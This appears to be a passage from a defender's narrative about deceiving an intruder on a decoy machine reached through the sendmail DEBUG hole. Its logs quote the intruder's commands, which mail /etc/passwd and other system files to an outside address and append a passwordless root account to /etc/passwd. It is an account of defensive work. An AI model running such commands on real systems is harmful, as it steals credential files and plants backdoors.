The Day After

The Day After


The sendmail DEBUG hole queues the desired commands for execution.

It was time to catch up with all the commands he had tried after I went to sleep, including those attempts to erase all our files.

To simulate the nasty rm command, I took the machine down for a little while, cleaned up the simulated password file, and left a message from our hapless system administrator in /etc/motd about a disk crash. The log showed the rest of the queued commands:

mail adrian@embezzle.stanford.edu < /etc/passwd
mail adrian@embezzle.stanford.edu < /etc/hosts
mail adrian@embezzle.stanford.edu < /etc/inetd.conf
ps -aux|mail adrian@embezzle.stanford.edu
ps -aux|mail adrian@embezzle.stanford.edu
mail adrian@embezzle.stanford.edu < /etc/inetd.conf

I mailed him the four simulated files, including the huge and useless /etc/hosts file. I even mailed him error messages for the two ps commands in direct violation of the no-errors Decision.

In the afternoon he was still there, mistyping away:

13:41     Attempt to login to inet with  bfrd  from  decaf.Stanford.EDU
13:41     Attempt to login to inet with  bfrd  from  decaf.Stanford.EDU
14:05     Attempt to login to inet with  bfrd  from  decaf.Stanford.EDU
16:07     echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/o^Hpasswd
16:08     echo "bffr ::7007:0::/:/v/bin/sh" >> /etc/passwd

He worked for another hour that afternoon, and from time to time over the next week or so. We continued this charade at the Dallas CNN Usenix, where Berferd's commands were simulated from the terminal room about twice a day. This response time was stretching credibility, but his faith seemed unflagging.